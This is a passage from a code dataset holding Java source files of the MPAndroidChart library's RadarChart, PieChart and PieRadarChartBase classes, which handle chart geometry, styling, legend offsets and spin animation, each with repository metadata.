*/
private float mInnerWebLineWidth = 1.5f;
/**
* color for the main web lines
*/
private int mWebColor = Color.rgb(122, 122, 122);
/**
* color for the inner web
*/
private int mWebColorInner = Color.rgb(122, 122, 122);
/**
* transparency the grid is drawn with (0-255)
*/
private int mWebAlpha = 150;
/**
* flag indicating if the web lines should be drawn or not
*/
private boolean mDrawWeb = true;
/**
* modulus that determines how many labels and web-lines are skipped before the next is drawn
*/
private int mSkipWebLineCount = 0;
/**
* the object reprsenting the y-axis labels
*/
private YAxis mYAxis;
protected YAxisRendererRadarChart mYAxisRenderer;
protected XAxisRendererRadarChart mXAxisRenderer;
public RadarChart(Context context) {
super(context);
}
public RadarChart(Context context, AttributeSet attrs) {
super(context, attrs);
}
public RadarChart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
mYAxis = new YAxis(AxisDependency.LEFT);
mXAxis.setSpaceBetweenLabels(0);
mWebLineWidth = Utils.convertDpToPixel(1.5f);
mInnerWebLineWidth = Utils.convertDpToPixel(0.75f);
mRenderer = new RadarChartRenderer(this, mAnimator, mViewPortHandler);
mYAxisRenderer = new YAxisRendererRadarChart(mViewPortHandler, mYAxis, this);
mXAxisRenderer = new XAxisRendererRadarChart(mViewPortHandler, mXAxis, this);
}
@Override
protected void calcMinMax() {
super.calcMinMax();
// calculate / set x-axis range
mXAxis.mAxisMaximum = mData.getXVals().size() - 1;
mXAxis.mAxisRange = Math.abs(mXAxis.mAxisMaximum - mXAxis.mAxisMinimum);
mYAxis.calculate(mData.getYMin(AxisDependency.LEFT), mData.getYMax(AxisDependency.LEFT));
}
@Override
protected float[] getMarkerPosition(Entry e, Highlight highlight) {
float angle = getSliceAngle() * e.getXIndex() + getRotationAngle();
float val = e.getVal() * getFactor();
PointF c = getCenterOffsets();
PointF p = new PointF((float) (c.x + val * Math.cos(Math.toRadians(angle))),
(float) (c.y + val * Math.sin(Math.toRadians(angle))));
return new float[]{
p.x, p.y
};
}
@Override
public void notifyDataSetChanged() {
if (mData == null)
return;
calcMinMax();
// if (mYAxis.needsDefaultFormatter()) {
// mYAxis.setValueFormatter(mDefaultFormatter);
// }
mYAxisRenderer.computeAxis(mYAxis.mAxisMinimum, mYAxis.mAxisMaximum);
mXAxisRenderer.computeAxis(mData.getXValMaximumLength(), mData.getXVals());
if (mLegend != null && !mLegend.isLegendCustom())
mLegendRenderer.computeLegend(mData);
calculateOffsets();
}
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
if (mData == null)
return;
mXAxisRenderer.renderAxisLabels(canvas);
if (mDrawWeb)
mRenderer.drawExtras(canvas);
mYAxisRenderer.renderLimitLines(canvas);
mRenderer.drawData(canvas);
if (valuesToHighlight())
mRenderer.drawHighlighted(canvas, mIndicesToHighlight);
mYAxisRenderer.renderAxisLabels(canvas);
mRenderer.drawValues(canvas);
mLegendRenderer.renderLegend(canvas);
drawDescription(canvas);
drawMarkers(canvas);
}
/**
* Returns the factor that is needed to transform values into pixels.
*
* @return
*/
public float getFactor() {
RectF content = mViewPortHandler.getContentRect();
return (float) Math.min(content.width() / 2f, content.height() / 2f)
/ mYAxis.mAxisRange;
}
/**
* Returns the angle that each slice in the radar chart occupies.
*
* @return
*/
public float getSliceAngle() {
return 360f / (float) mData.getXValCount();
}
@Override
public int getIndexForAngle(float angle) {
// take the current angle of the chart into consideration
float a = Utils.getNormalizedAngle(angle - getRotationAngle());
float sliceangle = getSliceAngle();
for (int i = 0; i < mData.getXValCount(); i++) {
if (sliceangle * (i + 1) - sliceangle / 2f > a)
return i;
}
return 0;
}
/**
* Returns the object that represents all y-labels of the RadarChart.
*
* @return
*/
public YAxis getYAxis() {
return mYAxis;
}
/**
* Sets the width of the web lines that come from the center.
*
* @param width
*/
public void setWebLineWidth(float width) {
mWebLineWidth = Utils.convertDpToPixel(width);
}
public float getWebLineWidth() {
return mWebLineWidth;
}
/**
* Sets the width of the web lines that are in between the lines coming from
* the center.
*
* @param width
*/
public void setWebLineWidthInner(float width) {
mInnerWebLineWidth = Utils.convertDpToPixel(width);
}
public float getWebLineWidthInner() {
return mInnerWebLineWidth;
}
/**
* Sets the transparency (alpha) value for all web lines, default: 150, 255
* = 100% opaque, 0 = 100% transparent
*
* @param alpha
*/
public void setWebAlpha(int alpha) {
mWebAlpha = alpha;
}
/**
* Returns the alpha value for all web lines.
*
* @return
*/
public int getWebAlpha() {
return mWebAlpha;
}
/**
* Sets the color for the web lines that come from the center. Don't forget
* to use getResources().getColor(...) when loading a color from the
* resources. Default: Color.rgb(122, 122, 122)
*
* @param color
*/
public void setWebColor(int color) {
mWebColor = color;
}
public int getWebColor() {
return mWebColor;
}
/**
* Sets the color for the web lines in between the lines that come from the
* center. Don't forget to use getResources().getColor(...) when loading a
* color from the resources. Default: Color.rgb(122, 122, 122)
*
* @param color
*/
public void setWebColorInner(int color) {
mWebColorInner = color;
}
public int getWebColorInner() {
return mWebColorInner;
}
/**
* If set to true, drawing the web is enabled, if set to false, drawing the
* whole web is disabled. Default: true
*
* @param enabled
*/
public void setDrawWeb(boolean enabled) {
mDrawWeb = enabled;
}
/**
* Sets the number of web-lines that should be skipped on chart web before the
* next one is drawn. This targets the lines that come from the center of the RadarChart.
*
* @param count if count = 1 -> 1 line is skipped in between
*/
public void setSkipWebLineCount(int count) {
mSkipWebLineCount = Math.max(0, count);
}
/**
* Returns the modulus that is used for skipping web-lines.
*
* @return
*/
public int getSkipWebLineCount() {
return mSkipWebLineCount;
}
@Override
protected float getRequiredLegendOffset() {
return mLegendRenderer.getLabelPaint().getTextSize() * 4.f;
}
@Override
protected float getRequiredBaseOffset() {
return mXAxis.isEnabled() && mXAxis.isDrawLabelsEnabled() ?
mXAxis.mLabelRotatedWidth :
Utils.convertDpToPixel(10f);
}
@Override
public float getRadius() {
RectF content = mViewPortHandler.getContentRect();
return Math.min(content.width() / 2f, content.height() / 2f);
}
/**
* Returns the maximum value this chart can display on it's y-axis.
*/
public float getYChartMax() {
return mYAxis.mAxisMaximum;
}
/**
* Returns the minimum value this chart can display on it's y-axis.
*/
public float getYChartMin() {
return mYAxis.mAxisMinimum;
}
/**
* Returns the range of y-values this chart can display.
*
* @return
*/
public float getYRange() {
return mYAxis.mAxisRange;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/RadarChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 2,301 |
```java
package com.github.mikephil.charting.charts;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.PointF;
import android.graphics.RectF;
import android.graphics.Typeface;
import android.util.AttributeSet;
import com.github.mikephil.charting.components.XAxis;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.data.PieData;
import com.github.mikephil.charting.highlight.Highlight;
import com.github.mikephil.charting.interfaces.datasets.IPieDataSet;
import com.github.mikephil.charting.renderer.PieChartRenderer;
import com.github.mikephil.charting.utils.Utils;
import java.util.List;
/**
* View that represents a pie chart. Draws cake like slices.
*
* @author Philipp Jahoda
*/
public class PieChart extends PieRadarChartBase<PieData> {
/**
* rect object that represents the bounds of the piechart, needed for
* drawing the circle
*/
private RectF mCircleBox = new RectF();
/**
* flag indicating if the x-labels should be drawn or not
*/
private boolean mDrawXLabels = true;
/**
* array that holds the width of each pie-slice in degrees
*/
private float[] mDrawAngles;
/**
* array that holds the absolute angle in degrees of each slice
*/
private float[] mAbsoluteAngles;
/**
* if true, the white hole inside the chart will be drawn
*/
private boolean mDrawHole = true;
/**
* if true, the hole will see-through to the inner tips of the slices
*/
private boolean mDrawSlicesUnderHole = false;
/**
* if true, the values inside the piechart are drawn as percent values
*/
private boolean mUsePercentValues = false;
/**
* if true, the slices of the piechart are rounded
*/
private boolean mDrawRoundedSlices = false;
/**
* variable for the text that is drawn in the center of the pie-chart
*/
private CharSequence mCenterText = "";
/**
* indicates the size of the hole in the center of the piechart, default:
* radius / 2
*/
private float mHoleRadiusPercent = 50f;
/**
* the radius of the transparent circle next to the chart-hole in the center
*/
protected float mTransparentCircleRadiusPercent = 55f;
/**
* if enabled, centertext is drawn
*/
private boolean mDrawCenterText = true;
private float mCenterTextRadiusPercent = 100.f;
protected float mMaxAngle = 360f;
public PieChart(Context context) {
super(context);
}
public PieChart(Context context, AttributeSet attrs) {
super(context, attrs);
}
public PieChart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
mRenderer = new PieChartRenderer(this, mAnimator, mViewPortHandler);
mXAxis = null;
}
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
if (mData == null)
return;
mRenderer.drawData(canvas);
if (valuesToHighlight())
mRenderer.drawHighlighted(canvas, mIndicesToHighlight);
mRenderer.drawExtras(canvas);
mRenderer.drawValues(canvas);
mLegendRenderer.renderLegend(canvas);
drawDescription(canvas);
drawMarkers(canvas);
}
@Override
public void calculateOffsets() {
super.calculateOffsets();
// prevent nullpointer when no data set
if (mData == null)
return;
float diameter = getDiameter();
float radius = diameter / 2f;
PointF c = getCenterOffsets();
float shift = mData.getDataSet().getSelectionShift();
// create the circle box that will contain the pie-chart (the bounds of
// the pie-chart)
mCircleBox.set(c.x - radius + shift,
c.y - radius + shift,
c.x + radius - shift,
c.y + radius - shift);
}
@Override
protected void calcMinMax() {
calcAngles();
}
@Override
protected float[] getMarkerPosition(Entry e, Highlight highlight) {
PointF center = getCenterCircleBox();
float r = getRadius();
float off = r / 10f * 3.6f;
if (isDrawHoleEnabled()) {
off = (r - (r / 100f * getHoleRadius())) / 2f;
}
r -= off; // offset to keep things inside the chart
float rotationAngle = getRotationAngle();
int i = e.getXIndex();
// offset needed to center the drawn text in the slice
float offset = mDrawAngles[i] / 2;
// calculate the text position
float x = (float) (r
* Math.cos(Math.toRadians((rotationAngle + mAbsoluteAngles[i] - offset)
* mAnimator.getPhaseY())) + center.x);
float y = (float) (r
* Math.sin(Math.toRadians((rotationAngle + mAbsoluteAngles[i] - offset)
* mAnimator.getPhaseY())) + center.y);
return new float[]{x, y};
}
/**
* calculates the needed angles for the chart slices
*/
private void calcAngles() {
mDrawAngles = new float[mData.getYValCount()];
mAbsoluteAngles = new float[mData.getYValCount()];
float yValueSum = mData.getYValueSum();
List<IPieDataSet> dataSets = mData.getDataSets();
int cnt = 0;
for (int i = 0; i < mData.getDataSetCount(); i++) {
IPieDataSet set = dataSets.get(i);
for (int j = 0; j < set.getEntryCount(); j++) {
mDrawAngles[cnt] = calcAngle(Math.abs(set.getEntryForIndex(j).getVal()), yValueSum);
if (cnt == 0) {
mAbsoluteAngles[cnt] = mDrawAngles[cnt];
} else {
mAbsoluteAngles[cnt] = mAbsoluteAngles[cnt - 1] + mDrawAngles[cnt];
}
cnt++;
}
}
}
/**
* checks if the given index in the given DataSet is set for highlighting or
* not
*
* @param xIndex
* @param dataSetIndex
* @return
*/
public boolean needsHighlight(int xIndex, int dataSetIndex) {
// no highlight
if (!valuesToHighlight() || dataSetIndex < 0)
return false;
for (int i = 0; i < mIndicesToHighlight.length; i++)
// check if the xvalue for the given dataset needs highlight
if (mIndicesToHighlight[i].getXIndex() == xIndex
&& mIndicesToHighlight[i].getDataSetIndex() == dataSetIndex)
return true;
return false;
}
/**
* calculates the needed angle for a given value
*
* @param value
* @return
*/
private float calcAngle(float value) {
return calcAngle(value, mData.getYValueSum());
}
/**
* calculates the needed angle for a given value
*
* @param value
* @param yValueSum
* @return
*/
private float calcAngle(float value, float yValueSum) {
return value / yValueSum * mMaxAngle;
}
/**
* @deprecated Kept for backward compatibility.
* This will throw an exception, PieChart has no XAxis object.
*
* @return
*/
@Deprecated
@Override
public XAxis getXAxis() {
throw new RuntimeException("PieChart has no XAxis");
}
@Override
public int getIndexForAngle(float angle) {
// take the current angle of the chart into consideration
float a = Utils.getNormalizedAngle(angle - getRotationAngle());
for (int i = 0; i < mAbsoluteAngles.length; i++) {
if (mAbsoluteAngles[i] > a)
return i;
}
return -1; // return -1 if no index found
}
/**
* Returns the index of the DataSet this x-index belongs to.
*
* @param xIndex
* @return
*/
public int getDataSetIndexForIndex(int xIndex) {
List<IPieDataSet> dataSets = mData.getDataSets();
for (int i = 0; i < dataSets.size(); i++) {
if (dataSets.get(i).getEntryForXIndex(xIndex) != null)
return i;
}
return -1;
}
/**
* returns an integer array of all the different angles the chart slices
* have the angles in the returned array determine how much space (of 360)
* each slice takes
*
* @return
*/
public float[] getDrawAngles() {
return mDrawAngles;
}
/**
* returns the absolute angles of the different chart slices (where the
* slices end)
*
* @return
*/
public float[] getAbsoluteAngles() {
return mAbsoluteAngles;
}
/**
* Sets the color for the hole that is drawn in the center of the PieChart
* (if enabled).
*
* @param color
*/
public void setHoleColor(int color) {
((PieChartRenderer) mRenderer).getPaintHole().setColor(color);
}
/**
* Enable or disable the visibility of the inner tips of the slices behind the hole
*/
public void setDrawSlicesUnderHole(boolean enable) {
mDrawSlicesUnderHole = enable;
}
/**
* Returns true if the inner tips of the slices are visible behind the hole,
* false if not.
*
* @return true if slices are visible behind the hole.
*/
public boolean isDrawSlicesUnderHoleEnabled() {
return mDrawSlicesUnderHole;
}
/**
* set this to true to draw the pie center empty
*
* @param enabled
*/
public void setDrawHoleEnabled(boolean enabled) {
this.mDrawHole = enabled;
}
/**
* returns true if the hole in the center of the pie-chart is set to be
* visible, false if not
*
* @return
*/
public boolean isDrawHoleEnabled() {
return mDrawHole;
}
/**
* Sets the text String that is displayed in the center of the PieChart.
*
* @param text
*/
public void setCenterText(CharSequence text) {
if (text == null)
mCenterText = "";
else
mCenterText = text;
}
/**
* returns the text that is drawn in the center of the pie-chart
*
* @return
*/
public CharSequence getCenterText() {
return mCenterText;
}
/**
* set this to true to draw the text that is displayed in the center of the
* pie chart
*
* @param enabled
*/
public void setDrawCenterText(boolean enabled) {
this.mDrawCenterText = enabled;
}
/**
* returns true if drawing the center text is enabled
*
* @return
*/
public boolean isDrawCenterTextEnabled() {
return mDrawCenterText;
}
@Override
protected float getRequiredLegendOffset() {
return mLegendRenderer.getLabelPaint().getTextSize() * 2.f;
}
@Override
protected float getRequiredBaseOffset() {
return 0;
}
@Override
public float getRadius() {
if (mCircleBox == null)
return 0;
else
return Math.min(mCircleBox.width() / 2f, mCircleBox.height() / 2f);
}
/**
* returns the circlebox, the boundingbox of the pie-chart slices
*
* @return
*/
public RectF getCircleBox() {
return mCircleBox;
}
/**
* returns the center of the circlebox
*
* @return
*/
public PointF getCenterCircleBox() {
return new PointF(mCircleBox.centerX(), mCircleBox.centerY());
}
/**
* sets the typeface for the center-text paint
*
* @param t
*/
public void setCenterTextTypeface(Typeface t) {
((PieChartRenderer) mRenderer).getPaintCenterText().setTypeface(t);
}
/**
* Sets the size of the center text of the PieChart in dp.
*
* @param sizeDp
*/
public void setCenterTextSize(float sizeDp) {
((PieChartRenderer) mRenderer).getPaintCenterText().setTextSize(
Utils.convertDpToPixel(sizeDp));
}
/**
* Sets the size of the center text of the PieChart in pixels.
*
* @param sizePixels
*/
public void setCenterTextSizePixels(float sizePixels) {
((PieChartRenderer) mRenderer).getPaintCenterText().setTextSize(sizePixels);
}
/**
* Sets the color of the center text of the PieChart.
*
* @param color
*/
public void setCenterTextColor(int color) {
((PieChartRenderer) mRenderer).getPaintCenterText().setColor(color);
}
/**
* sets the radius of the hole in the center of the piechart in percent of
* the maximum radius (max = the radius of the whole chart), default 50%
*
* @param percent
*/
public void setHoleRadius(final float percent) {
mHoleRadiusPercent = percent;
}
/**
* Returns the size of the hole radius in percent of the total radius.
*
* @return
*/
public float getHoleRadius() {
return mHoleRadiusPercent;
}
/**
* Sets the color the transparent-circle should have.
*
* @param color
*/
public void setTransparentCircleColor(int color) {
Paint p = ((PieChartRenderer) mRenderer).getPaintTransparentCircle();
int alpha = p.getAlpha();
p.setColor(color);
p.setAlpha(alpha);
}
/**
* sets the radius of the transparent circle that is drawn next to the hole
* in the piechart in percent of the maximum radius (max = the radius of the
* whole chart), default 55% -> means 5% larger than the center-hole by
* default
*
* @param percent
*/
public void setTransparentCircleRadius(final float percent) {
mTransparentCircleRadiusPercent = percent;
}
public float getTransparentCircleRadius() {
return mTransparentCircleRadiusPercent;
}
/**
* Sets the amount of transparency the transparent circle should have 0 = fully transparent,
* 255 = fully opaque.
* Default value is 100.
*
* @param alpha 0-255
*/
public void setTransparentCircleAlpha(int alpha) {
((PieChartRenderer) mRenderer).getPaintTransparentCircle().setAlpha(alpha);
}
/**
* set this to true to draw the x-value text into the pie slices
*
* @param enabled
*/
public void setDrawSliceText(boolean enabled) {
mDrawXLabels = enabled;
}
/**
* returns true if drawing x-values is enabled, false if not
*
* @return
*/
public boolean isDrawSliceTextEnabled() {
return mDrawXLabels;
}
/**
* Returns true if the chart is set to draw each end of a pie-slice
* "rounded".
*
* @return
*/
public boolean isDrawRoundedSlicesEnabled() {
return mDrawRoundedSlices;
}
/**
* If this is enabled, values inside the PieChart are drawn in percent and
* not with their original value. Values provided for the ValueFormatter to
* format are then provided in percent.
*
* @param enabled
*/
public void setUsePercentValues(boolean enabled) {
mUsePercentValues = enabled;
}
/**
* Returns true if using percentage values is enabled for the chart.
*
* @return
*/
public boolean isUsePercentValuesEnabled() {
return mUsePercentValues;
}
/**
* the rectangular radius of the bounding box for the center text, as a percentage of the pie
* hole
* default 1.f (100%)
*/
public void setCenterTextRadiusPercent(float percent) {
mCenterTextRadiusPercent = percent;
}
/**
* the rectangular radius of the bounding box for the center text, as a percentage of the pie
* hole
* default 1.f (100%)
*/
public float getCenterTextRadiusPercent() {
return mCenterTextRadiusPercent;
}
public float getMaxAngle() {
return mMaxAngle;
}
/**
* Sets the max angle that is used for calculating the pie-circle. 360f means
* it's a full PieChart, 180f results in a half-pie-chart. Default: 360f
*
* @param maxangle min 90, max 360
*/
public void setMaxAngle(float maxangle) {
if (maxangle > 360)
maxangle = 360f;
if (maxangle < 90)
maxangle = 90f;
this.mMaxAngle = maxangle;
}
@Override
protected void onDetachedFromWindow() {
// releases the bitmap in the renderer to avoid oom error
if (mRenderer != null && mRenderer instanceof PieChartRenderer) {
((PieChartRenderer) mRenderer).releaseBitmap();
}
super.onDetachedFromWindow();
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/PieChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 3,954 |
```java
package com.github.mikephil.charting.charts;
import android.animation.ObjectAnimator;
import android.animation.ValueAnimator;
import android.animation.ValueAnimator.AnimatorUpdateListener;
import android.annotation.SuppressLint;
import android.content.Context;
import android.graphics.PointF;
import android.graphics.RectF;
import android.util.AttributeSet;
import android.util.Log;
import android.view.MotionEvent;
import com.github.mikephil.charting.animation.Easing;
import com.github.mikephil.charting.components.Legend;
import com.github.mikephil.charting.components.XAxis;
import com.github.mikephil.charting.data.ChartData;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.interfaces.datasets.IDataSet;
import com.github.mikephil.charting.listener.PieRadarChartTouchListener;
import com.github.mikephil.charting.utils.SelectionDetail;
import com.github.mikephil.charting.utils.Utils;
import java.util.ArrayList;
import java.util.List;
/**
* Baseclass of PieChart and RadarChart.
*
* @author Philipp Jahoda
*/
public abstract class PieRadarChartBase<T extends ChartData<? extends IDataSet<? extends Entry>>>
extends Chart<T> {
/** holds the normalized version of the current rotation angle of the chart */
private float mRotationAngle = 270f;
/** holds the raw version of the current rotation angle of the chart */
private float mRawRotationAngle = 270f;
/** flag that indicates if rotation is enabled or not */
protected boolean mRotateEnabled = true;
/** Sets the minimum offset (padding) around the chart, defaults to 0.f */
protected float mMinOffset = 0.f;
public PieRadarChartBase(Context context) {
super(context);
}
public PieRadarChartBase(Context context, AttributeSet attrs) {
super(context, attrs);
}
public PieRadarChartBase(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
mChartTouchListener = new PieRadarChartTouchListener(this);
}
@Override
protected void calcMinMax() {
mXAxis.mAxisRange = mData.getXVals().size() - 1;
}
@Override
public boolean onTouchEvent(MotionEvent event) {
// use the pie- and radarchart listener own listener
if (mTouchEnabled && mChartTouchListener != null)
return mChartTouchListener.onTouch(this, event);
else
return super.onTouchEvent(event);
}
@Override
public void computeScroll() {
if (mChartTouchListener instanceof PieRadarChartTouchListener)
((PieRadarChartTouchListener) mChartTouchListener).computeScroll();
}
@Override
public void notifyDataSetChanged() {
if (mData == null)
return;
calcMinMax();
if (mLegend != null)
mLegendRenderer.computeLegend(mData);
calculateOffsets();
}
@Override
public void calculateOffsets() {
float legendLeft = 0f, legendRight = 0f, legendBottom = 0f, legendTop = 0f;
if (mLegend != null && mLegend.isEnabled() && !mLegend.isDrawInsideEnabled()) {
float fullLegendWidth = Math.min(mLegend.mNeededWidth,
mViewPortHandler.getChartWidth() * mLegend.getMaxSizePercent()) +
mLegend.getFormSize() + mLegend.getFormToTextSpace();
switch (mLegend.getOrientation()) {
case VERTICAL:
{
float xLegendOffset = 0.f;
if (mLegend.getHorizontalAlignment() == Legend.LegendHorizontalAlignment.LEFT
|| mLegend.getHorizontalAlignment() == Legend.LegendHorizontalAlignment.RIGHT) {
if (mLegend.getVerticalAlignment() == Legend.LegendVerticalAlignment.CENTER) {
// this is the space between the legend and the chart
final float spacing = Utils.convertDpToPixel(13f);
xLegendOffset = fullLegendWidth + spacing;
} else {
// this is the space between the legend and the chart
float spacing = Utils.convertDpToPixel(8f);
float legendWidth = fullLegendWidth + spacing;
float legendHeight = mLegend.mNeededHeight + mLegend.mTextHeightMax;
PointF c = getCenter();
float bottomX = mLegend.getHorizontalAlignment() ==
Legend.LegendHorizontalAlignment.RIGHT
? getWidth() - legendWidth + 15.f
: legendWidth - 15.f;
float bottomY = legendHeight + 15.f;
float distLegend = distanceToCenter(bottomX, bottomY);
PointF reference = getPosition(c, getRadius(),
getAngleForPoint(bottomX, bottomY));
float distReference = distanceToCenter(reference.x, reference.y);
float minOffset = Utils.convertDpToPixel(5f);
if (bottomY >= c.y && getHeight() - legendWidth > getWidth()) {
xLegendOffset = legendWidth;
} else if (distLegend < distReference) {
float diff = distReference - distLegend;
xLegendOffset = minOffset + diff;
}
}
}
switch (mLegend.getHorizontalAlignment()) {
case LEFT:
legendLeft = xLegendOffset;
break;
case RIGHT:
legendRight = xLegendOffset;
break;
case CENTER:
switch (mLegend.getVerticalAlignment()) {
case TOP:
legendTop = Math.min(mLegend.mNeededHeight,
mViewPortHandler.getChartHeight() * mLegend.getMaxSizePercent());
break;
case BOTTOM:
legendBottom = Math.min(mLegend.mNeededHeight,
mViewPortHandler.getChartHeight() * mLegend.getMaxSizePercent());
break;
}
break;
}
}
break;
case HORIZONTAL:
float yLegendOffset;
if (mLegend.getVerticalAlignment() == Legend.LegendVerticalAlignment.TOP ||
mLegend.getVerticalAlignment() == Legend.LegendVerticalAlignment.BOTTOM) {
// It's possible that we do not need this offset anymore as it
// is available through the extraOffsets, but changing it can mean
// changing default visibility for existing apps.
float yOffset = getRequiredLegendOffset();
yLegendOffset = Math.min(mLegend.mNeededHeight + yOffset,
mViewPortHandler.getChartHeight() * mLegend.getMaxSizePercent());
switch (mLegend.getVerticalAlignment()) {
case TOP:
legendTop = yLegendOffset;
break;
case BOTTOM:
legendBottom = yLegendOffset;
break;
}
}
break;
}
legendLeft += getRequiredBaseOffset();
legendRight += getRequiredBaseOffset();
legendTop += getRequiredBaseOffset();
legendBottom += getRequiredBaseOffset();
}
float minOffset = Utils.convertDpToPixel(mMinOffset);
if (this instanceof RadarChart) {
XAxis x = this.getXAxis();
if (x.isEnabled() && x.isDrawLabelsEnabled()) {
minOffset = Math.max(minOffset, x.mLabelRotatedWidth);
}
}
legendTop += getExtraTopOffset();
legendRight += getExtraRightOffset();
legendBottom += getExtraBottomOffset();
legendLeft += getExtraLeftOffset();
float offsetLeft = Math.max(minOffset, legendLeft);
float offsetTop = Math.max(minOffset, legendTop);
float offsetRight = Math.max(minOffset, legendRight);
float offsetBottom = Math.max(minOffset, Math.max(getRequiredBaseOffset(), legendBottom));
mViewPortHandler.restrainViewPort(offsetLeft, offsetTop, offsetRight, offsetBottom);
if (mLogEnabled)
Log.i(LOG_TAG, "offsetLeft: " + offsetLeft + ", offsetTop: " + offsetTop
+ ", offsetRight: " + offsetRight + ", offsetBottom: " + offsetBottom);
}
/**
* returns the angle relative to the chart center for the given point on the
* chart in degrees. The angle is always between 0 and 360, 0 is NORTH,
* 90 is EAST, ...
*
* @param x
* @param y
* @return
*/
public float getAngleForPoint(float x, float y) {
PointF c = getCenterOffsets();
double tx = x - c.x, ty = y - c.y;
double length = Math.sqrt(tx * tx + ty * ty);
double r = Math.acos(ty / length);
float angle = (float) Math.toDegrees(r);
if (x > c.x)
angle = 360f - angle;
// add 90 because chart starts EAST
angle = angle + 90f;
// neutralize overflow
if (angle > 360f)
angle = angle - 360f;
return angle;
}
/**
* Calculates the position around a center point, depending on the distance
* from the center, and the angle of the position around the center.
*
* @param center
* @param dist
* @param angle in degrees, converted to radians internally
* @return
*/
protected PointF getPosition(PointF center, float dist, float angle) {
return new PointF((float) (center.x + dist * Math.cos(Math.toRadians(angle))),
(float) (center.y + dist * Math.sin(Math.toRadians(angle))));
}
/**
* Returns the distance of a certain point on the chart to the center of the
* chart.
*
* @param x
* @param y
* @return
*/
public float distanceToCenter(float x, float y) {
PointF c = getCenterOffsets();
float dist;
float xDist;
float yDist;
if (x > c.x) {
xDist = x - c.x;
} else {
xDist = c.x - x;
}
if (y > c.y) {
yDist = y - c.y;
} else {
yDist = c.y - y;
}
// pythagoras
dist = (float) Math.sqrt(Math.pow(xDist, 2.0) + Math.pow(yDist, 2.0));
return dist;
}
/**
* Returns the xIndex for the given angle around the center of the chart.
* Returns -1 if not found / outofbounds.
*
* @param angle
* @return
*/
public abstract int getIndexForAngle(float angle);
/**
* Set an offset for the rotation of the RadarChart in degrees. Default 270f
* --> top (NORTH)
*
* @param angle
*/
public void setRotationAngle(float angle) {
mRawRotationAngle = angle;
mRotationAngle = Utils.getNormalizedAngle(mRawRotationAngle);
}
/**
* gets the raw version of the current rotation angle of the pie chart the
* returned value could be any value, negative or positive, outside of the
* 360 degrees. this is used when working with rotation direction, mainly by
* gestures and animations.
*
* @return
*/
public float getRawRotationAngle() {
return mRawRotationAngle;
}
/**
* gets a normalized version of the current rotation angle of the pie chart,
* which will always be between 0.0 < 360.0
*
* @return
*/
public float getRotationAngle() {
return mRotationAngle;
}
/**
* Set this to true to enable the rotation / spinning of the chart by touch.
* Set it to false to disable it. Default: true
*
* @param enabled
*/
public void setRotationEnabled(boolean enabled) {
mRotateEnabled = enabled;
}
/**
* Returns true if rotation of the chart by touch is enabled, false if not.
*
* @return
*/
public boolean isRotationEnabled() {
return mRotateEnabled;
}
/** Gets the minimum offset (padding) around the chart, defaults to 0.f */
public float getMinOffset() {
return mMinOffset;
}
/** Sets the minimum offset (padding) around the chart, defaults to 0.f */
public void setMinOffset(float minOffset) {
mMinOffset = minOffset;
}
/**
* returns the diameter of the pie- or radar-chart
*
* @return
*/
public float getDiameter() {
RectF content = mViewPortHandler.getContentRect();
content.left += getExtraLeftOffset();
content.top += getExtraTopOffset();
content.right -= getExtraRightOffset();
content.bottom -= getExtraBottomOffset();
return Math.min(content.width(), content.height());
}
/**
* Returns the radius of the chart in pixels.
*
* @return
*/
public abstract float getRadius();
/**
* Returns the required offset for the chart legend.
*
* @return
*/
protected abstract float getRequiredLegendOffset();
/**
* Returns the base offset needed for the chart without calculating the
* legend size.
*
* @return
*/
protected abstract float getRequiredBaseOffset();
@Override
public float getYChartMax() {
// TODO Auto-generated method stub
return 0;
}
@Override
public float getYChartMin() {
// TODO Auto-generated method stub
return 0;
}
/**
* Returns an array of SelectionDetail objects for the given x-index. The SelectionDetail
* objects give information about the value at the selected index and the
* DataSet it belongs to. INFORMATION: This method does calculations at
* runtime. Do not over-use in performance critical situations.
*
* @return
*/
public List<SelectionDetail> getSelectionDetailsAtIndex(int xIndex) {
List<SelectionDetail> vals = new ArrayList<>();
for (int i = 0; i < mData.getDataSetCount(); i++) {
IDataSet<?> dataSet = mData.getDataSetByIndex(i);
// extract all y-values from all DataSets at the given x-index
final float yVal = dataSet.getYValForXIndex(xIndex);
if (Float.isNaN(yVal))
continue;
vals.add(new SelectionDetail(yVal, i, dataSet));
}
return vals;
}
/**
* ################ ################ ################ ################
*/
/** CODE BELOW THIS RELATED TO ANIMATION */
/**
* Applys a spin animation to the Chart.
*
* @param durationmillis
* @param fromangle
* @param toangle
*/
@SuppressLint("NewApi")
public void spin(int durationmillis, float fromangle, float toangle, Easing.EasingOption easing) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
setRotationAngle(fromangle);
ObjectAnimator spinAnimator = ObjectAnimator.ofFloat(this, "rotationAngle", fromangle,
toangle);
spinAnimator.setDuration(durationmillis);
spinAnimator.setInterpolator(Easing.getEasingFunctionFromOption(easing));
spinAnimator.addUpdateListener(new AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
postInvalidate();
}
});
spinAnimator.start();
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/PieRadarChartBase.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 3,312 |
```java
package com.github.mikephil.charting.charts;
import android.content.Context;
import android.util.AttributeSet;
import com.github.mikephil.charting.data.LineData;
import com.github.mikephil.charting.interfaces.dataprovider.LineDataProvider;
import com.github.mikephil.charting.renderer.LineChartRenderer;
/**
* Chart that draws lines, surfaces, circles, ...
*
